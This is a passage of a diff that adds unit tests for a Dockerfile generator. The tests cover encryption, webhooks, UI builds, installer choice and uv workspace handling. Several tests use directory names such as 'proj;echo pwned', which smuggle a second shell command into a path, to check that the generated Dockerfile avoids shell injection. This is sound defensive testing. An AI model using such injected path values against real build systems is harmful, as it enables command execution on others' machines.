+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def test_config_to_docker_python_encryption():
+    # Test that encryption config is included in validation
+    graphs = {"agent": "./agent.py:graph"}
+    validated = validate_config(
+        {
+            "python_version": "3.11",
+            "graphs": graphs,
+            "dependencies": ["."],
+            "encryption": {"path": "./encryption.py:encryption"},
+        }
+    )
+
+    # Verify that encryption config is preserved after validation
+    assert validated.get("encryption") is not None
+    assert validated["encryption"]["path"] == "./encryption.py:encryption"
+
+
+def test_config_to_docker_python_encryption_bad_path():
+    # Test that invalid encryption path format raises ValueError
+    graphs = {"agent": "./agent.py:graph"}
+    with pytest.raises(ValueError, match="Invalid encryption.path format"):
+        validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": graphs,
+                "dependencies": ["."],
+                "encryption": {"path": "./encryption.py"},  # Missing :attribute
+            }
+        )
+
+
+def test_config_to_docker_python_encryption_formatted():
+    # Test that encryption config is properly formatted in Docker output
+    graphs = {"agent": "./graphs/agent.py:graph"}
+    actual_docker_stdin, _ = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "python_version": "3.11",
+                "dependencies": ["."],
+                "graphs": graphs,
+                "encryption": {"path": "./agent.py:my_encryption"},
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+    # Verify that LANGGRAPH_ENCRYPTION is in the docker output with the correct path
+    assert "LANGGRAPH_ENCRYPTION=" in actual_docker_stdin
+    assert (
+        "/deps/outer-unit_tests/unit_tests/agent.py:my_encryption"
+        in actual_docker_stdin
+    )
+
+
+def test_config_to_docker_nodejs_internal_docker_tag():
+    graphs = {"agent": "./graphs/agent.js:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "node_version": "20",
+                "graphs": graphs,
+                "dockerfile_lines": ["ARG meow", "ARG foo"],
+                "auth": {"path": "./graphs/auth.mts:auth"},
+                "ui": {"agent": "./graphs/agent.ui.jsx"},
+                "ui_config": {"shared": ["nuqs"]},
+                "_INTERNAL_docker_tag": "my-tag",
+            }
+        ),
+        base_image="langchain/langgraphjs-api",
+    )
+    expected_docker_stdin = """FROM langchain/langgraphjs-api:my-tag
+ARG meow
+ARG foo
+ADD . /deps/unit_tests
+WORKDIR /deps/unit_tests
+RUN npm i
+ENV LANGGRAPH_AUTH='{"path": "./graphs/auth.mts:auth"}'
+ENV LANGGRAPH_UI='{"agent": "./graphs/agent.ui.jsx"}'
+ENV LANGGRAPH_UI_CONFIG='{"shared": ["nuqs"]}'
+ENV LANGSERVE_GRAPHS='{"agent": "./graphs/agent.js:graph"}'
+WORKDIR /deps/unit_tests
+RUN (test ! -f /api/langgraph_api/js/build.mts && echo "Prebuild script not found, skipping") || tsx /api/langgraph_api/js/build.mts"""
+
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def _extract_env_json(dockerfile: str, var_name: str) -> dict:
+    """Helper to extract and parse a JSON value from an ENV line in a Dockerfile."""
+    line_prefix = f"ENV {var_name}='"
+    for line in dockerfile.splitlines():
+        if line.startswith(line_prefix) and line.endswith("'"):
+            json_str = line[len(line_prefix) : -1]
+            return json.loads(json_str)
+    raise AssertionError(f"{var_name} not found in Dockerfile env lines")
+
+
+def test_config_to_docker_webhooks_python():
+    graphs = {"agent": "./agent.py:graph"}
+    webhooks = {
+        "env_prefix": "LG_WEBHOOK_",
+        "url": {
+            "require_https": True,
+            "allowed_domains": ["hooks.example.com", "*.example.org"],
+            "allowed_ports": [443],
+            "max_url_length": 1024,
+            "disable_loopback": False,
+        },
+        "headers": {
+            "x-auth": "${{ env.LG_WEBHOOK_TOKEN }}",
+            "x-mixed": "Bearer ${{ env.LG_WEBHOOK_TOKEN }}-suffix",
+        },
+    }
+
+    dockerfile, _ = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": ["."],
+                "graphs": graphs,
+                "webhooks": webhooks,
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+
+    # Ensure the ENV line is present and the payload round-trips via JSON
+    parsed = _extract_env_json(dockerfile, "LANGGRAPH_WEBHOOKS")
+    assert parsed == webhooks
+
+
+def test_config_to_docker_webhooks_node():
+    graphs = {"agent": "./graphs/agent.js:graph"}
+    webhooks = {
+        "env_prefix": "LG_WEBHOOK_",
+        "url": {"require_https": True},
+        "headers": {"x-auth": "${{ env.LG_WEBHOOK_TOKEN }}"},
+    }
+
+    dockerfile, _ = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "node_version": "20",
+                "graphs": graphs,
+                "webhooks": webhooks,
+            }
+        ),
+        base_image="langchain/langgraphjs-api",
+    )
+
+    parsed = _extract_env_json(dockerfile, "LANGGRAPH_WEBHOOKS")
+    assert parsed == webhooks
+
+
+def test_config_to_docker_no_webhooks():
+    graphs = {"agent": "./agent.py:graph"}
+    dockerfile, _ = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        base_image="langchain/langgraph-api",
+    )
+
+    assert "ENV LANGGRAPH_WEBHOOKS=" not in dockerfile
+
+
+def test_config_to_docker_gen_ui_python():
+    graphs = {"agent": "./agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": ["."],
+                "graphs": graphs,
+                "ui": {"agent": "./graphs/agent.ui.jsx"},
+                "ui_config": {"shared": ["nuqs"]},
+            }
+        ),
+        base_image="langchain/langgraph-api",
+    )
+
+    expected_docker_stdin = f"""FROM langchain/langgraph-api:3.11
+RUN /storage/install-node.sh
+# -- Adding non-package dependency unit_tests --
+ADD . /deps/outer-unit_tests/unit_tests
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "unit_tests"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+    done
+# -- End of non-package dependency unit_tests --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGGRAPH_UI='{{"agent": "./graphs/agent.ui.jsx"}}'
+ENV LANGGRAPH_UI_CONFIG='{{"shared": ["nuqs"]}}'
+ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+# -- Installing JS dependencies --
+ENV NODE_VERSION=20
+WORKDIR /deps/outer-unit_tests/unit_tests
+RUN npm i && tsx /api/langgraph_api/js/build.mts
+# -- End of JS dependencies install --
+{FORMATTED_CLEANUP_LINES}
+WORKDIR /deps/outer-unit_tests/unit_tests"""
+
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def test_config_to_docker_multiplatform():
+    graphs = {
+        "python": "./multiplatform/python.py:graph",
+        "js": "./multiplatform/js.mts:graph",
+    }
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config(
+            {"node_version": "22", "dependencies": ["."], "graphs": graphs}
+        ),
+        base_image="langchain/langgraph-api",
+    )
+
+    expected_docker_stdin = f"""FROM langchain/langgraph-api:3.11
+RUN /storage/install-node.sh
+# -- Adding non-package dependency unit_tests --
+ADD . /deps/outer-unit_tests/unit_tests
+RUN set -ex && \\
+    for line in '[project]' \\
+                'name = "unit_tests"' \\
+                'version = "0.1"' \\
+                '[tool.setuptools.package-data]' \\
+                '"*" = ["**/*"]' \\
+                '[build-system]' \\
+                'requires = ["setuptools>=61"]' \\
+                'build-backend = "setuptools.build_meta"'; do \\
+        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+    done
+# -- End of non-package dependency unit_tests --
+# -- Installing all local dependencies --
+RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+# -- End of local dependencies install --
+ENV LANGSERVE_GRAPHS='{{"python": "/deps/outer-unit_tests/unit_tests/multiplatform/python.py:graph", "js": "/deps/outer-unit_tests/unit_tests/multiplatform/js.mts:graph"}}'
+# -- Installing JS dependencies --
+ENV NODE_VERSION=22
+WORKDIR /deps/outer-unit_tests/unit_tests
+RUN npm i && tsx /api/langgraph_api/js/build.mts
+# -- End of JS dependencies install --
+{FORMATTED_CLEANUP_LINES}
+WORKDIR /deps/outer-unit_tests/unit_tests"""
+
+    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
+    assert additional_contexts == {}
+
+
+def test_config_to_docker_gen_ui_python_uses_workdir_with_special_chars():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_dir = tmpdir_path / "proj;echo pwned"
+        project_dir.mkdir()
+        config_path = project_dir / "langgraph.json"
+        config_path.write_text("{}\n")
+        (project_dir / "agent.py").write_text("graph = object()\n")
+        (project_dir / "ui.jsx").write_text("export default null;\n")
+
+        docker, _ = config_to_docker(
+            config_path,
+            validate_config(
+                {
+                    "dependencies": ["."],
+                    "graphs": {"agent": "./agent.py:graph"},
+                    "ui": {"agent": "./ui.jsx"},
+                }
+            ),
+            base_image="langchain/langgraph-api",
+        )
+
+        assert "WORKDIR /deps/outer-proj;echo pwned/src" in docker
+        assert "RUN npm i && tsx /api/langgraph_api/js/build.mts" in docker
+        assert "RUN cd /deps/outer-proj;echo pwned/src" not in docker
+        assert ">> '/deps/outer-proj;echo pwned/pyproject.toml'" in docker
+
+
+def test_config_to_docker_nodejs_uses_workdir_with_special_chars():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_dir = tmpdir_path / "proj;echo pwned"
+        project_dir.mkdir()
+        config_path = project_dir / "langgraph.json"
+        config_path.write_text("{}\n")
+        (project_dir / "agent.js").write_text("export const graph = {};\n")
+        (project_dir / "package.json").write_text('{"name":"test"}\n')
+
+        docker, _ = config_to_docker(
+            config_path,
+            validate_config(
+                {
+                    "node_version": "20",
+                    "graphs": {"agent": "./agent.js:graph"},
+                }
+            ),
+            base_image="langchain/langgraphjs-api",
+        )
+
+        assert "WORKDIR /deps/proj;echo pwned" in docker
+        assert "RUN npm i" in docker
+        assert "RUN cd /deps/proj;echo pwned" not in docker
+
+
+def test_config_to_docker_pip_installer():
+    """Test that pip_installer setting affects the generated Dockerfile."""
+    graphs = {"agent": "./graphs/agent.py:graph"}
+    base_config = {
+        "python_version": "3.11",
+        "dependencies": ["."],
+        "graphs": graphs,
+    }
+
+    # Test default (auto) behavior with UV-supporting image
+    config_auto = validate_config(
+        {**copy.deepcopy(base_config), "pip_installer": "auto"}
+    )
+    docker_auto, _ = config_to_docker(
+        PATH_TO_CONFIG, config_auto, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert "uv pip install --system " in docker_auto
+    assert "rm /usr/bin/uv /usr/bin/uvx" in docker_auto
+
+    # Test explicit pip setting
+    config_pip = validate_config({**copy.deepcopy(base_config), "pip_installer": "pip"})
+    docker_pip, _ = config_to_docker(
+        PATH_TO_CONFIG, config_pip, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert "uv pip install --system " not in docker_pip
+    assert "pip install" in docker_pip
+    assert "rm /usr/bin/uv" not in docker_pip
+
+    # Test explicit uv setting
+    config_uv = validate_config({**copy.deepcopy(base_config), "pip_installer": "uv"})
+    docker_uv, _ = config_to_docker(
+        PATH_TO_CONFIG, config_uv, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert "uv pip install --system " in docker_uv
+    assert "rm /usr/bin/uv /usr/bin/uvx" in docker_uv
+
+    # Test auto behavior with older image (should use pip)
+    config_auto_old = validate_config(
+        {**copy.deepcopy(base_config), "pip_installer": "auto"}
+    )
+    docker_auto_old, _ = config_to_docker(
+        PATH_TO_CONFIG, config_auto_old, base_image="langchain/langgraph-api:0.2.46"
+    )
+    assert "uv pip install --system " not in docker_auto_old
+    assert "pip install" in docker_auto_old
+    assert "rm /usr/bin/uv" not in docker_auto_old
+
+    # Test that missing pip_installer defaults to auto behavior
+    config_default = validate_config(copy.deepcopy(base_config))
+    docker_default, _ = config_to_docker(
+        PATH_TO_CONFIG, config_default, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert "uv pip install --system " in docker_default
+
+
+def test_config_to_docker_uv_lock():
+    """Test that uv_lock installs only the planned workspace closure."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
+        )
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        docker, additional_contexts = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert "uv pip install --system" in docker
+        assert (
+            "uv export --package agent --frozen --no-hashes --no-emit-project --no-emit-workspace"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root pyproject.toml /tmp/uv_export/project/pyproject.toml"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root uv.lock /tmp/uv_export/project/uv.lock"
+            in docker
+        )
+        assert additional_contexts == {"uv-workspace-root": str(project_root.resolve())}
+
+        assert (
+            "COPY --from=uv-workspace-root apps/agent /deps/workspace/apps/agent"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+            in docker
+        )
+        assert "libs/extra /deps/workspace/libs/extra" not in docker
+
+        shared_workdir = "WORKDIR /deps/workspace/libs/shared"
+        shared_install = (
+            "RUN PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir "
+            "-c /api/constraints.txt --no-deps -e ."
+        )
+        agent_workdir = "WORKDIR /deps/workspace/apps/agent"
+        agent_install = shared_install
+        assert shared_workdir in docker
+        assert shared_install in docker
+        assert agent_workdir in docker
+        assert agent_install in docker
+        shared_copy = (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+        )
+        agent_copy = (
+            "COPY --from=uv-workspace-root apps/agent /deps/workspace/apps/agent"
+        )
+        assert docker.index(shared_copy) < docker.index(shared_workdir)
+        assert docker.index(shared_workdir) < docker.index(agent_copy)
+        assert docker.index(shared_workdir) < docker.index(agent_workdir)
+        assert "for dep in /deps/*" not in docker
+        assert "# -- Installing workspace packages --" not in docker
+        assert "WORKDIR /tmp/uv_export/project" in docker
+        assert "RUN cd " not in docker
+        assert (
+            '"path": "/deps/workspace/libs/shared/src/shared/auth.py:create_auth"'
+            in docker
+        )
+        assert (
+            '"agent": "/deps/workspace/apps/agent/src/agent/graph.py:graph"' in docker
+        )
+        assert "rm /usr/bin/uv /usr/bin/uvx" in docker
+
+
+def test_config_to_docker_uv_lock_honors_root_workspace_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            root_sources="[tool.uv.sources]\nshared = { workspace = true }",
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+            in docker
+        )
+        assert (
+            '"path": "/deps/workspace/libs/shared/src/shared/auth.py:create_auth"'
+            in docker
+        )
+
+
+def test_config_to_docker_uv_lock_ignores_unrelated_workspace_package_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
+        )
+        badlib_dir = project_root / "libs" / "badlib"
+        badlib_dir.mkdir()
+        (badlib_dir / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "badlib"
+                version = "0.1.0"
+
+                [tool.uv.sources]
+                outside = { path = "../outside" }
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root libs/badlib /deps/workspace/libs/badlib"
+            not in docker
+        )
+
+
+def test_config_to_docker_uv_lock_ignores_unrelated_root_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            root_sources=textwrap.dedent(
+                """
+                [tool.uv.sources]
+                shared = { workspace = true }
+                unused = { path = "libs/extra", editable = true }
+                """
+            ).strip(),
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root libs/extra /deps/workspace/libs/extra"
+            not in docker
+        )
+
+
+def test_config_to_docker_uv_lock_validates_root_path_sources_relative_to_project_root():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            root_sources='[tool.uv.sources]\nshared = { path = "../outside", editable = true }',
+        )
+        outside_dir = project_root.parent / "outside"
+        outside_dir.mkdir()
+        (outside_dir / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "shared"
+                version = "0.1.0"
+                """
+            ).strip()
+            + "\n"
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        with pytest.raises(click.UsageError, match="outside project_root"):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_requires_explicit_workspace_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(tmpdir_path)
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        with pytest.raises(
+            click.UsageError,
+            match="not inside the target package 'agent'",
+        ):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_accepts_path_workspace_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources='[tool.uv.sources]\nshared = { path = "../../libs/shared", editable = true }',
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+            in docker
+        )
+
+
+def test_config_to_docker_uv_lock_rejects_package_false_workspace_dependency():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
+            shared_uv_config="[tool.uv]\npackage = false",
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        with pytest.raises(click.UsageError, match="tool.uv.package = false"):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_accepts_root_path_workspace_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            root_sources='[tool.uv.sources]\nshared = { path = "libs/shared", editable = true }',
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert (
+            "COPY --from=uv-workspace-root libs/shared /deps/workspace/libs/shared"
+            in docker
+        )
+        assert (
+            '"path": "/deps/workspace/libs/shared/src/shared/auth.py:create_auth"'
+            in docker
+        )
+
+
+def test_config_to_docker_uv_lock_rejects_mismatched_path_workspace_sources():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources='[tool.uv.sources]\nshared = { path = "../../libs/extra", editable = true }',
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        with pytest.raises(
+            click.UsageError,
+            match="dependency name and the workspace package name must match",
+        ):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_detects_js_pm_from_target_package_root():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
+        )
+        agent_dir = project_root / "apps" / "agent"
+        (agent_dir / "package.json").write_text('{"packageManager":"pnpm@9.0.0"}\n')
+        (agent_dir / "pnpm-lock.yaml").write_text("lockfileVersion: 9.0\n")
+        (agent_dir / "ui.tsx").write_text("export const ui = null;\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "ui": {"agent": "../../apps/agent/ui.tsx"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert "WORKDIR /deps/workspace/apps/agent" in docker
+        assert (
+            "RUN pnpm i --frozen-lockfile && tsx /api/langgraph_api/js/build.mts"
+            in docker
+        )
+        assert (
+            'ENV LANGGRAPH_UI=\'{"agent": "/deps/workspace/apps/agent/ui.tsx"}\''
+            in docker
+        )
+
+
+def test_config_to_docker_uv_lock_uses_workdir_for_js_install_with_special_chars():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            config_relative_dir="apps/agent;echo pwned",
+        )
+        agent_dir = project_root / "apps" / "agent;echo pwned"
+        (agent_dir / "package.json").write_text('{"packageManager":"pnpm@9.0.0"}\n')
+        (agent_dir / "pnpm-lock.yaml").write_text("lockfileVersion: 9.0\n")
+        (agent_dir / "ui.tsx").write_text("export const ui = null;\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent;echo pwned/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "ui": {"agent": "../../apps/agent;echo pwned/ui.tsx"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert "WORKDIR /deps/workspace/apps/agent;echo pwned" in docker
+        assert (
+            "RUN pnpm i --frozen-lockfile && tsx /api/langgraph_api/js/build.mts"
+            in docker
+        )
+        assert "RUN cd /deps/workspace/apps/agent;echo pwned" not in docker
+
+
+def test_config_to_docker_uv_lock_supports_single_uv_project_root():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root = tmpdir_path / "single"
+        project_root.mkdir()
+        (project_root / "uv.lock").write_text("# uv lock file\n")
+        (project_root / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "single-app"
+                version = "0.1.0"
+                dependencies = ["httpx>=0.28"]
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+        (project_root / "langgraph.json").write_text("{}\n")
+        src_dir = project_root / "src"
+        src_dir.mkdir()
+        (src_dir / "agent.py").write_text("graph = object()\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./src/agent.py:graph"},
+                "source": {"kind": "uv"},
+            }
+        )
+        docker, additional_contexts = config_to_docker(
+            project_root / "langgraph.json",
+            config,
+            base_image="langchain/langgraph-api:0.2.47",
+        )
+
+        assert (
+            "uv export --package single-app --frozen --no-hashes --no-emit-project --no-emit-workspace"
+            in docker
+        )
+        assert '"agent": "/deps/workspace/src/agent.py:graph"' in docker
+        assert additional_contexts == {}
+
+
+def test_config_to_docker_uv_lock_skips_dockerignore_entries():
+    """Entries filtered by .dockerignore / built-in excludes must not appear
+    as ADD lines. Docker fails to compute the cache key for paths that the
+    build context has stripped."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root = tmpdir_path / "single"
+        project_root.mkdir()
+        (project_root / "uv.lock").write_text("# uv lock file\n")
+        (project_root / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "single-app"
+                version = "0.1.0"
+                dependencies = ["httpx>=0.28"]
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+        (project_root / "langgraph.json").write_text("{}\n")
+        (project_root / "src").mkdir()
+        (project_root / "src" / "agent.py").write_text("graph = object()\n")
+        (project_root / "README.md").write_text("# hi\n")
+
+        # Built-in exclusions — must never appear as ADD lines.
+        (project_root / ".git").mkdir()
+        (project_root / ".git" / "HEAD").write_text("ref: refs/heads/main\n")
+        (project_root / ".venv").mkdir()
+        (project_root / ".venv" / "pyvenv.cfg").write_text("home = /usr\n")
+        (project_root / "__pycache__").mkdir()
+        (project_root / "__pycache__" / "x.cpython-311.pyc").write_bytes(b"\x00")
+
+        # .dockerignore excludes .gitignore and a custom path.
+        (project_root / ".dockerignore").write_text(".gitignore\nsecrets.env\n")
+        (project_root / ".gitignore").write_text("*.pyc\n")
+        (project_root / "secrets.env").write_text("TOKEN=abc\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./src/agent.py:graph"},
+                "source": {"kind": "uv"},
+            }
+        )
+        docker, _ = config_to_docker(
+            project_root / "langgraph.json",
+            config,
+            base_image="langchain/langgraph-api:0.2.47",
+        )
+
+        for excluded in (
+            "ADD .git ",
+            "ADD .gitignore ",
+            "ADD .venv ",
+            "ADD __pycache__ ",
+            "ADD secrets.env ",
+        ):
+            assert excluded not in docker, (
+                f"{excluded!r} should be filtered out of Dockerfile:\n{docker}"
+            )
+
+        # The .dockerignore itself is still part of the context and should be
+        # ADDed (Docker needs it at build time, and archive.py includes it).
+        assert "ADD .dockerignore /deps/workspace/.dockerignore" in docker
+        assert "ADD src /deps/workspace/src" in docker
+        assert "ADD README.md /deps/workspace/README.md" in docker
+
+
+def test_config_to_docker_uv_lock_does_not_apply_gitignore():
